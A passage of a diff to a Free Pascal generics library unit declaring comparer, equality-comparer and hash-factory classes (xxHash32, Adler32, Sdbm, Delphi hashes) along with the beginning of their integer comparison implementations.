@TEquals.Pointer; GetHashCode: @THashFactory.Pointer); +{.$WARNINGS ON} // do not enable warnings ever in this unit, or you will get many warnings about uninitialized TEqualityComparerVMT fields + private class var + // IEqualityComparer VMT + FEqualityComparer_Int8_VMT : THashFactory.TEqualityComparerVMT; + FEqualityComparer_Int16_VMT : THashFactory.TEqualityComparerVMT; + FEqualityComparer_Int32_VMT : THashFactory.TEqualityComparerVMT; + FEqualityComparer_Int64_VMT : THashFactory.TEqualityComparerVMT; + FEqualityComparer_UInt8_VMT : THashFactory.TEqualityComparerVMT; + FEqualityComparer_UInt16_VMT: THashFactory.TEqualityComparerVMT; + FEqualityComparer_UInt32_VMT: THashFactory.TEqualityComparerVMT; + FEqualityComparer_UInt64_VMT: THashFactory.TEqualityComparerVMT; + + FEqualityComparer_Single_VMT : THashFactory.TEqualityComparerVMT; + FEqualityComparer_Double_VMT : THashFactory.TEqualityComparerVMT; + FEqualityComparer_Extended_VMT: THashFactory.TEqualityComparerVMT; + + FEqualityComparer_Currency_VMT: THashFactory.TEqualityComparerVMT; + FEqualityComparer_Comp_VMT : THashFactory.TEqualityComparerVMT; + + FEqualityComparer_Binary_VMT : THashFactory.TEqualityComparerVMT; + FEqualityComparer_DynArray_VMT: THashFactory.TEqualityComparerVMT; + + FEqualityComparer_Class_VMT: THashFactory.TEqualityComparerVMT; + + FEqualityComparer_ShortString1_VMT : THashFactory.TEqualityComparerVMT; + FEqualityComparer_ShortString2_VMT : THashFactory.TEqualityComparerVMT; + FEqualityComparer_ShortString3_VMT : THashFactory.TEqualityComparerVMT; + FEqualityComparer_ShortString_VMT : THashFactory.TEqualityComparerVMT; + FEqualityComparer_AnsiString_VMT : THashFactory.TEqualityComparerVMT; + FEqualityComparer_WideString_VMT : THashFactory.TEqualityComparerVMT; + FEqualityComparer_UnicodeString_VMT: THashFactory.TEqualityComparerVMT; + + FEqualityComparer_Method_VMT : THashFactory.TEqualityComparerVMT; + FEqualityComparer_Variant_VMT: THashFactory.TEqualityComparerVMT; + FEqualityComparer_Pointer_VMT: THashFactory.TEqualityComparerVMT; + + FEqualityComparer_Int8_Instance : Pointer; + FEqualityComparer_Int16_Instance : Pointer; + FEqualityComparer_Int32_Instance : Pointer; + FEqualityComparer_Int64_Instance : Pointer; + FEqualityComparer_UInt8_Instance : Pointer; + FEqualityComparer_UInt16_Instance : Pointer; + FEqualityComparer_UInt32_Instance : Pointer; + FEqualityComparer_UInt64_Instance : Pointer; + + FEqualityComparer_Single_Instance : Pointer; + FEqualityComparer_Double_Instance : Pointer; + FEqualityComparer_Extended_Instance : Pointer; + + FEqualityComparer_Currency_Instance : Pointer; + FEqualityComparer_Comp_Instance : Pointer; + + //FEqualityComparer_Binary_Instance : Pointer; // dynamic instance + //FEqualityComparer_DynArray_Instance : Pointer; // dynamic instance + + FEqualityComparer_ShortString1_Instance : Pointer; + FEqualityComparer_ShortString2_Instance : Pointer; + FEqualityComparer_ShortString3_Instance : Pointer; + FEqualityComparer_ShortString_Instance : Pointer; + FEqualityComparer_AnsiString_Instance : Pointer; + FEqualityComparer_WideString_Instance : Pointer; + FEqualityComparer_UnicodeString_Instance: Pointer; + + FEqualityComparer_Method_Instance : Pointer; + FEqualityComparer_Variant_Instance : Pointer; + FEqualityComparer_Pointer_Instance : Pointer; + + + FEqualityComparerInstances: array[TTypeKind] of TInstance; + private + class constructor Create; + public + class function LookupEqualityComparer(ATypeInfo: PTypeInfo; ASize: SizeInt): Pointer; override; + end; + + { TExtendedHashService } + + TExtendedHashService<T: TExtendedHashFactory> = class(TExtendedHashService) + private + class function SelectIntegerEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; override; + class function SelectFloatEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; override; + class function SelectShortStringEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; override; + class function SelectBinaryEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; override; + class function SelectDynArrayEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; override; + private const + // IExtendedEqualityComparer VMT templates +{$WARNINGS OFF} + ExtendedEqualityComparer_Int8_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Int8 ; GetHashCode: @THashFactory.Int8 ; GetHashList: @TExtendedHashFactory.Int8 ); + ExtendedEqualityComparer_Int16_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Int16 ; GetHashCode: @THashFactory.Int16 ; GetHashList: @TExtendedHashFactory.Int16 ); + ExtendedEqualityComparer_Int32_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Int32 ; GetHashCode: @THashFactory.Int32 ; GetHashList: @TExtendedHashFactory.Int32 ); + ExtendedEqualityComparer_Int64_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Int64 ; GetHashCode: @THashFactory.Int64 ; GetHashList: @TExtendedHashFactory.Int64 ); + ExtendedEqualityComparer_UInt8_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.UInt8 ; GetHashCode: @THashFactory.UInt8 ; GetHashList: @TExtendedHashFactory.UInt8 ); + ExtendedEqualityComparer_UInt16_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.UInt16; GetHashCode: @THashFactory.UInt16; GetHashList: @TExtendedHashFactory.UInt16); + ExtendedEqualityComparer_UInt32_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.UInt32; GetHashCode: @THashFactory.UInt32; GetHashList: @TExtendedHashFactory.UInt32); + ExtendedEqualityComparer_UInt64_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.UInt64; GetHashCode: @THashFactory.UInt64; GetHashList: @TExtendedHashFactory.UInt64); + + ExtendedEqualityComparer_Single_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Single ; GetHashCode: @THashFactory.Single ; GetHashList: @TExtendedHashFactory.Single ); + ExtendedEqualityComparer_Double_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Double ; GetHashCode: @THashFactory.Double ; GetHashList: @TExtendedHashFactory.Double ); + ExtendedEqualityComparer_Extended_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Extended; GetHashCode: @THashFactory.Extended; GetHashList: @TExtendedHashFactory.Extended); + + ExtendedEqualityComparer_Currency_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Currency; GetHashCode: @THashFactory.Currency; GetHashList: @TExtendedHashFactory.Currency); + ExtendedEqualityComparer_Comp_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Comp ; GetHashCode: @THashFactory.Comp ; GetHashList: @TExtendedHashFactory.Comp ); + + ExtendedEqualityComparer_Binary_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_COM_TYPESIZE_INTERFACE_METHODS; Equals: @TEquals._Binary ; GetHashCode: @THashFactory.Binary ; GetHashList: @TExtendedHashFactory.Binary ); + ExtendedEqualityComparer_DynArray_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_COM_TYPESIZE_INTERFACE_METHODS; Equals: @TEquals._DynArray; GetHashCode: @THashFactory.DynArray; GetHashList: @TExtendedHashFactory.DynArray); + + ExtendedEqualityComparer_Class_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.&Class; GetHashCode: @THashFactory.&Class; GetHashList: @TExtendedHashFactory.&Class); + + ExtendedEqualityComparer_ShortString1_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.ShortString1 ; GetHashCode: @THashFactory.ShortString1 ; GetHashList: @TExtendedHashFactory.ShortString1 ); + ExtendedEqualityComparer_ShortString2_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.ShortString2 ; GetHashCode: @THashFactory.ShortString2 ; GetHashList: @TExtendedHashFactory.ShortString2 ); + ExtendedEqualityComparer_ShortString3_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.ShortString3 ; GetHashCode: @THashFactory.ShortString3 ; GetHashList: @TExtendedHashFactory.ShortString3 ); + ExtendedEqualityComparer_ShortString_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.ShortString ; GetHashCode: @THashFactory.ShortString ; GetHashList: @TExtendedHashFactory.ShortString ); + ExtendedEqualityComparer_AnsiString_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.AnsiString ; GetHashCode: @THashFactory.AnsiString ; GetHashList: @TExtendedHashFactory.AnsiString ); + ExtendedEqualityComparer_WideString_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.WideString ; GetHashCode: @THashFactory.WideString ; GetHashList: @TExtendedHashFactory.WideString ); + ExtendedEqualityComparer_UnicodeString_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.UnicodeString; GetHashCode: @THashFactory.UnicodeString; GetHashList: @TExtendedHashFactory.UnicodeString); + + ExtendedEqualityComparer_Method_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Method ; GetHashCode: @THashFactory.Method ; GetHashList: @TExtendedHashFactory.Method ); + ExtendedEqualityComparer_Variant_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Variant; GetHashCode: @THashFactory.Variant; GetHashList: @TExtendedHashFactory.Variant); + ExtendedEqualityComparer_Pointer_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT = (STD_RAW_INTERFACE_METHODS; Equals: @TEquals.Pointer; GetHashCode: @THashFactory.Pointer; GetHashList: @TExtendedHashFactory.Pointer); +{.$WARNINGS ON} // do not enable warnings ever in this unit, or you will get many warnings about uninitialized TEqualityComparerVMT fields + private class var + // IExtendedEqualityComparer VMT + FExtendedEqualityComparer_Int8_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_Int16_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_Int32_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_Int64_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_UInt8_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_UInt16_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_UInt32_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_UInt64_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT; + + FExtendedEqualityComparer_Single_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_Double_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_Extended_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT; + + FExtendedEqualityComparer_Currency_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_Comp_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + + FExtendedEqualityComparer_Binary_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_DynArray_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT; + + FExtendedEqualityComparer_Class_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT; + + FExtendedEqualityComparer_ShortString1_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_ShortString2_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_ShortString3_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_ShortString_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_AnsiString_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_WideString_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_UnicodeString_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT; + + FExtendedEqualityComparer_Method_VMT : TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_Variant_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT; + FExtendedEqualityComparer_Pointer_VMT: TExtendedHashFactory.TExtendedEqualityComparerVMT; + + FExtendedEqualityComparer_Int8_Instance : Pointer; + FExtendedEqualityComparer_Int16_Instance : Pointer; + FExtendedEqualityComparer_Int32_Instance : Pointer; + FExtendedEqualityComparer_Int64_Instance : Pointer; + FExtendedEqualityComparer_UInt8_Instance : Pointer; + FExtendedEqualityComparer_UInt16_Instance : Pointer; + FExtendedEqualityComparer_UInt32_Instance : Pointer; + FExtendedEqualityComparer_UInt64_Instance : Pointer; + + FExtendedEqualityComparer_Single_Instance : Pointer; + FExtendedEqualityComparer_Double_Instance : Pointer; + FExtendedEqualityComparer_Extended_Instance : Pointer; + + FExtendedEqualityComparer_Currency_Instance : Pointer; + FExtendedEqualityComparer_Comp_Instance : Pointer; + + //FExtendedEqualityComparer_Binary_Instance : Pointer; // dynamic instance + //FExtendedEqualityComparer_DynArray_Instance : Pointer; // dynamic instance + + FExtendedEqualityComparer_ShortString1_Instance : Pointer; + FExtendedEqualityComparer_ShortString2_Instance : Pointer; + FExtendedEqualityComparer_ShortString3_Instance : Pointer; + FExtendedEqualityComparer_ShortString_Instance : Pointer; + FExtendedEqualityComparer_AnsiString_Instance : Pointer; + FExtendedEqualityComparer_WideString_Instance : Pointer; + FExtendedEqualityComparer_UnicodeString_Instance: Pointer; + + FExtendedEqualityComparer_Method_Instance : Pointer; + FExtendedEqualityComparer_Variant_Instance : Pointer; + FExtendedEqualityComparer_Pointer_Instance : Pointer; + + // all instances + FExtendedEqualityComparerInstances: array[TTypeKind] of TInstance; + private + class constructor Create; + public + class function LookupExtendedEqualityComparer(ATypeInfo: PTypeInfo; ASize: SizeInt): Pointer; override; + end; + + TOnEqualityComparison<T> = function(constref ALeft, ARight: T): Boolean of object; + TEqualityComparisonFunc<T> = function(constref ALeft, ARight: T): Boolean; + + TOnHasher<T> = function(constref AValue: T): UInt32 of object; + TOnExtendedHasher<T> = procedure(constref AValue: T; AHashList: PUInt32) of object; + THasherFunc<T> = function(constref AValue: T): UInt32; + TExtendedHasherFunc<T> = procedure(constref AValue: T; AHashList: PUInt32); + + TEqualityComparer<T> = class(TInterfacedObject, IEqualityComparer<T>) + public + class function Default: IEqualityComparer<T>; static; overload; + class function Default(AHashFactoryClass: THashFactoryClass): IEqualityComparer<T>; static; overload; + + class function Construct(const AEqualityComparison: TOnEqualityComparison<T>; + const AHasher: TOnHasher<T>): IEqualityComparer<T>; overload; + class function Construct(const AEqualityComparison: TEqualityComparisonFunc<T>; + const AHasher: THasherFunc<T>): IEqualityComparer<T>; overload; + + function Equals(constref ALeft, ARight: T): Boolean; virtual; overload; abstract; + function GetHashCode(constref AValue: T): UInt32; virtual; overload; abstract; + end; + + { TDelegatedEqualityComparerEvent } + + TDelegatedEqualityComparerEvents<T> = class(TEqualityComparer<T>) + private + FEqualityComparison: TOnEqualityComparison<T>; + FHasher: TOnHasher<T>; + public + function Equals(constref ALeft, ARight: T): Boolean; override; + function GetHashCode(constref AValue: T): UInt32; override; + + constructor Create(const AEqualityComparison: TOnEqualityComparison<T>; + const AHasher: TOnHasher<T>); + end; + + TDelegatedEqualityComparerFunc<T> = class(TEqualityComparer<T>) + private + FEqualityComparison: TEqualityComparisonFunc<T>; + FHasher: THasherFunc<T>; + public + function Equals(constref ALeft, ARight: T): Boolean; override; + function GetHashCode(constref AValue: T): UInt32; override; + + constructor Create(const AEqualityComparison: TEqualityComparisonFunc<T>; + const AHasher: THasherFunc<T>); + end; + + { TExtendedEqualityComparer } + + TExtendedEqualityComparer<T> = class(TEqualityComparer<T>, IExtendedEqualityComparer<T>) + public + class function Default: IExtendedEqualityComparer<T>; static; overload; reintroduce; + class function Default(AExtenedHashFactoryClass: TExtendedHashFactoryClass): IExtendedEqualityComparer<T>; static; overload; reintroduce; + + class function Construct(const AEqualityComparison: TOnEqualityComparison<T>; + const AHasher: TOnHasher<T>; const AExtendedHasher: TOnExtendedHasher<T>): IExtendedEqualityComparer<T>; overload; reintroduce; + class function Construct(const AEqualityComparison: TEqualityComparisonFunc<T>; + const AHasher: THasherFunc<T>; const AExtendedHasher: TExtendedHasherFunc<T>): IExtendedEqualityComparer<T>; overload; reintroduce; + class function Construct(const AEqualityComparison: TOnEqualityComparison<T>; + const AExtendedHasher: TOnExtendedHasher<T>): IExtendedEqualityComparer<T>; overload; reintroduce; + class function Construct(const AEqualityComparison: TEqualityComparisonFunc<T>; + const AExtendedHasher: TExtendedHasherFunc<T>): IExtendedEqualityComparer<T>; overload; reintroduce; + + procedure GetHashList(constref AValue: T; AHashList: PUInt32); virtual; abstract; + end; + + TDelegatedExtendedEqualityComparerEvents<T> = class(TExtendedEqualityComparer<T>) + private + FEqualityComparison: TOnEqualityComparison<T>; + FHasher: TOnHasher<T>; + FExtendedHasher: TOnExtendedHasher<T>; + + function GetHashCodeMethod(constref AValue: T): UInt32; + public + function Equals(constref ALeft, ARight: T): Boolean; override; + function GetHashCode(constref AValue: T): UInt32; override; + procedure GetHashList(constref AValue: T; AHashList: PUInt32); override; + + constructor Create(const AEqualityComparison: TOnEqualityComparison<T>; + const AHasher: TOnHasher<T>; const AExtendedHasher: TOnExtendedHasher<T>); overload; + constructor Create(const AEqualityComparison: TOnEqualityComparison<T>; + const AExtendedHasher: TOnExtendedHasher<T>); overload; + end; + + TDelegatedExtendedEqualityComparerFunc<T> = class(TExtendedEqualityComparer<T>) + private + FEqualityComparison: TEqualityComparisonFunc<T>; + FHasher: THasherFunc<T>; + FExtendedHasher: TExtendedHasherFunc<T>; + public + function Equals(constref ALeft, ARight: T): Boolean; override; + function GetHashCode(constref AValue: T): UInt32; override; + procedure GetHashList(constref AValue: T; AHashList: PUInt32); override; + + constructor Create(const AEqualityComparison: TEqualityComparisonFunc<T>; + const AHasher: THasherFunc<T>; const AExtendedHasher: TExtendedHasherFunc<T>); overload; + constructor Create(const AEqualityComparison: TEqualityComparisonFunc<T>; + const AExtendedHasher: TExtendedHasherFunc<T>); overload; + end; + + { TDelphiHashFactory } + + TDelphiHashFactory = class(THashFactory) + public + class function GetHashService: THashServiceClass; override; + class function GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32 = 0): UInt32; override; + end; + + { TGenericsHashFactory } + + TGenericsHashFactory = class(THashFactory) + public + class function GetHashService: THashServiceClass; override; + class function GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32 = 0): UInt32; override; + end; + + { TxxHash32HashFactory } + + TxxHash32HashFactory = class(THashFactory) + public + class function GetHashService: THashServiceClass; override; + class function GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32 = 0): UInt32; override; + end; + + { TxxHash32PascalHashFactory } + + TxxHash32PascalHashFactory = class(THashFactory) + public + class function GetHashService: THashServiceClass; override; + class function GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32 = 0): UInt32; override; + end; + + { TAdler32HashFactory } + + TAdler32HashFactory = class(THashFactory) + public + class function GetHashService: THashServiceClass; override; + class function GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32 = 0): UInt32; override; + end; + + { TSdbmHashFactory } + + TSdbmHashFactory = class(THashFactory) + public + class function GetHashService: THashServiceClass; override; + class function GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32 = 0): UInt32; override; + end; + + { TSdbmHashFactory } + + TSimpleChecksumFactory = class(THashFactory) + public + class function GetHashService: THashServiceClass; override; + class function GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32 = 0): UInt32; override; + end; + + { TDelphiDoubleHashFactory } + + TDelphiDoubleHashFactory = class(TExtendedHashFactory) + public + const MAX_HASHLIST_COUNT = 2; + const HASH_FUNCTIONS_COUNT = 1; + const HASHLIST_COUNT_PER_FUNCTION: array[1..HASH_FUNCTIONS_COUNT] of Integer = (2); + const HASH_FUNCTIONS_MASK_SIZE = 1; + const HASH_FUNCTIONS_MASK = 1; // 00000001b + + class function GetHashService: THashServiceClass; override; + class function GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32 = 0): UInt32; override; + class procedure GetHashList(AKey: Pointer; ASize: SizeInt; AHashList: PUInt32; AOptions: TGetHashListOptions = []); override; + end; + + TDelphiQuadrupleHashFactory = class(TExtendedHashFactory) + public + const MAX_HASHLIST_COUNT = 4; + const HASH_FUNCTIONS_COUNT = 2; + const HASHLIST_COUNT_PER_FUNCTION: array[1..HASH_FUNCTIONS_COUNT] of Integer = (2, 2); + const HASH_FUNCTIONS_MASK_SIZE = 2; + const HASH_FUNCTIONS_MASK = 3; // 00000011b + + class function GetHashService: THashServiceClass; override; + class function GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32 = 0): UInt32; override; + class procedure GetHashList(AKey: Pointer; ASize: SizeInt; AHashList: PUInt32; AOptions: TGetHashListOptions = []); override; + end; + + TDelphiSixfoldHashFactory = class(TExtendedHashFactory) + public + const MAX_HASHLIST_COUNT = 6; + const HASH_FUNCTIONS_COUNT = 3; + const HASHLIST_COUNT_PER_FUNCTION: array[1..HASH_FUNCTIONS_COUNT] of Integer = (2, 2, 2); + const HASH_FUNCTIONS_MASK_SIZE = 3; + const HASH_FUNCTIONS_MASK = 7; // 00000111b + + class function GetHashService: THashServiceClass; override; + class function GetHashCode(AKey: Pointer; ASize: SizeInt; AInitVal: UInt32 = 0): UInt32; override; + class procedure GetHashList(AKey: Pointer; ASize: SizeInt; AHashList: PUInt32; AOptions: TGetHashListOptions = []); override; + end; + + TDefaultHashFactory = TGenericsHashFactory; + + TDefaultGenericInterface = (giComparer, giEqualityComparer, giExtendedEqualityComparer); + + TCustomComparer<T> = class(TSingletonImplementation, IComparer<T>, IEqualityComparer<T>, IExtendedEqualityComparer<T>) + protected + function Compare(constref Left, Right: T): Integer; virtual; abstract; + function Equals(constref Left, Right: T): Boolean; reintroduce; overload; virtual; abstract; + function GetHashCode(constref Value: T): UInt32; reintroduce; overload; virtual; abstract; + procedure GetHashList(constref Value: T; AHashList: PUInt32); virtual; abstract; + end; + + TOrdinalComparer<T, THashFactory> = class(TCustomComparer<T>) + protected class var + FComparer: IComparer<T>; + FEqualityComparer: IEqualityComparer<T>; + FExtendedEqualityComparer: IExtendedEqualityComparer<T>; + + class constructor Create; + public + class function Ordinal: TCustomComparer<T>; virtual; abstract; + end; + + // TGStringComparer will be renamed to TStringComparer -> bug #26030 + // anyway class var can't be used safely -> bug #24848 + + TGStringComparer<T, THashFactory> = class(TOrdinalComparer<T, THashFactory>) + private class var + FOrdinal: TCustomComparer<T>; + class destructor Destroy; + public + class function Ordinal: TCustomComparer<T>; override; + end; + + TGStringComparer<T> = class(TGStringComparer<T, TDelphiQuadrupleHashFactory>); + TStringComparer = class(TGStringComparer<string>); + TAnsiStringComparer = class(TGStringComparer<AnsiString>); + TUnicodeStringComparer = class(TGStringComparer<UnicodeString>); + + { TGOrdinalStringComparer } + + // TGOrdinalStringComparer will be renamed to TOrdinalStringComparer -> bug #26030 + // anyway class var can't be used safely -> bug #24848 + TGOrdinalStringComparer<T, THashFactory> = class(TGStringComparer<T, THashFactory>) + public + function Compare(constref ALeft, ARight: T): Integer; override; + function Equals(constref ALeft, ARight: T): Boolean; overload; override; + function GetHashCode(constref AValue: T): UInt32; overload; override; + procedure GetHashList(constref AValue: T; AHashList: PUInt32); override; + end; + + TGOrdinalStringComparer<T> = class(TGOrdinalStringComparer<T, TDelphiQuadrupleHashFactory>); + TOrdinalStringComparer = class(TGOrdinalStringComparer<string>); + + TGIStringComparer<T, THashFactory> = class(TOrdinalComparer<T, THashFactory>) + private class var + FOrdinal: TCustomComparer<T>; + class destructor Destroy; + public + class function Ordinal: TCustomComparer<T>; override; + end; + + TGIStringComparer<T> = class(TGIStringComparer<T, TDelphiQuadrupleHashFactory>); + TIStringComparer = class(TGIStringComparer<string>); + TIAnsiStringComparer = class(TGIStringComparer<AnsiString>); + TIUnicodeStringComparer = class(TGIStringComparer<UnicodeString>); + + TGOrdinalIStringComparer<T, THashFactory> = class(TGIStringComparer<T, THashFactory>) + public + function Compare(constref ALeft, ARight: T): Integer; override; + function Equals(constref ALeft, ARight: T): Boolean; overload; override; + function GetHashCode(constref AValue: T): UInt32; overload; override; + procedure GetHashList(constref AValue: T; AHashList: PUInt32); override; + end; + + TGOrdinalIStringComparer<T> = class(TGOrdinalIStringComparer<T, TDelphiQuadrupleHashFactory>); + TOrdinalIStringComparer = class(TGOrdinalIStringComparer<string>); + +// Delphi version of Bob Jenkins Hash +function BobJenkinsHash(const AData; ALength, AInitData: Integer): Integer; // same result as HashLittle_Delphi, just different interface +function BinaryCompare(const ALeft, ARight: Pointer; ASize: PtrUInt): Integer; inline; + +function _LookupVtableInfo(AGInterface: TDefaultGenericInterface; ATypeInfo: PTypeInfo; ASize: SizeInt): Pointer; inline; +function _LookupVtableInfoEx(AGInterface: TDefaultGenericInterface; ATypeInfo: PTypeInfo; ASize: SizeInt; + AFactory: THashFactoryClass): Pointer; + +implementation + +{ TComparer<T> } + +class function TComparer<T>.Default: IComparer<T>; +begin + Result := _LookupVtableInfo(giComparer, TypeInfo(T), SizeOf(T)); +end; + +class function TComparer<T>.Construct(const AComparison: TOnComparison<T>): IComparer<T>; +begin + Result := TDelegatedComparerEvents<T>.Create(AComparison); +end; + +class function TComparer<T>.Construct(const AComparison: TComparisonFunc<T>): IComparer<T>; +begin + Result := TDelegatedComparerFunc<T>.Create(AComparison); +end; + +function TDelegatedComparerEvents<T>.Compare(constref ALeft, ARight: T): Integer; +begin + Result := FComparison(ALeft, ARight); +end; + +constructor TDelegatedComparerEvents<T>.Create(AComparison: TOnComparison<T>); +begin + FComparison := AComparison; +end; + +function TDelegatedComparerFunc<T>.Compare(constref ALeft, ARight: T): Integer; +begin + Result := FComparison(ALeft, ARight); +end; + +constructor TDelegatedComparerFunc<T>.Create(AComparison: TComparisonFunc<T>); +begin + FComparison := AComparison; +end; + +{ TInterface } + +function TInterface.QueryInterface(constref IID: TGUID; out Obj): HResult; +begin + Result := E_NOINTERFACE; +end; + +{ TRawInterface } + +function TRawInterface._AddRef: LongInt; +begin + Result := -1; +end; + +function TRawInterface._Release: LongInt; +begin + Result := -1; +end; + +{ TComTypeSizeInterface } + +function TComTypeSizeInterface._AddRef: LongInt; +var + _self: TComparerService.PSpoofInterfacedTypeSizeObject absolute Self; +begin + Result := InterLockedIncrement(_self.RefCount); +end; + +function TComTypeSizeInterface._Release: LongInt; +var + _self: TComparerService.PSpoofInterfacedTypeSizeObject absolute Self; +begin + Result := InterLockedDecrement(_self.RefCount); + if _self.RefCount = 0 then + Dispose(_self); +end; + +{ TSingletonImplementation } + +function TSingletonImplementation.QueryInterface(constref IID: TGUID; out Obj): HResult; +begin + if GetInterface(IID, Obj) then + Result := S_OK + else + Result := E_NOINTERFACE; +end; + +{ TCompare } + +(*********************************************************************************************************************** + Comparers +(**********************************************************************************************************************) + +{----------------------------------------------------------------------------------------------------------------------- + Comparers Int8 - Int32 and UInt8 - UInt32 +{----------------------------------------------------------------------------------------------------------------------} + +class function TCompare.Integer(constref ALeft, ARight: Integer): Integer; +begin + Result := Math.CompareValue(ALeft, ARight); +end; + +class function TCompare.Int8(constref ALeft, ARight: Int8): Integer; +begin + Result := ALeft - ARight; +end; + +class function TCompare.Int16(constref ALeft, ARight: Int16): Integer; +begin + Result := ALeft - ARight; +end; + +class function TCompare.Int32(constref ALeft, ARight: Int32): Integer; +begin + if ALeft > ARight then + Exit(1) + else if ALeft < ARight then + Exit(-1) + else + Exit(0); +end; + +class function TCompare.Int64(constref ALeft, ARight: Int64): Integer; +begin + if ALeft > ARight then + Exit(1) + else if ALeft < ARight then + Exit(-1) + else + Exit(0); +end; + +class function TCompare.UInt8(constref ALeft, ARight: UInt8): Integer; +begin + Result := System.Integer(ALeft) - System.Integer(ARight); +end; + +class function TCompare.UInt16(constref ALeft, ARight: UInt16): Integer; +begin + Result := System.Integer(ALeft) - System.Integer(ARight); +end; + +class function TCompare.UInt32(constref ALeft, ARight: UInt32): Integer; +begin + if ALeft > ARight then + Exit(1) + else if ALeft < ARight then + Exit(-1) + else + Exit(0); +end; + +class function TCompare.UInt64(constref ALeft, ARight: UInt64): Integer; +begin + if ALeft > ARight then + Exit(1) + else if ALeft < ARight then + Exit(-1) + else + Exit(0); +end; + 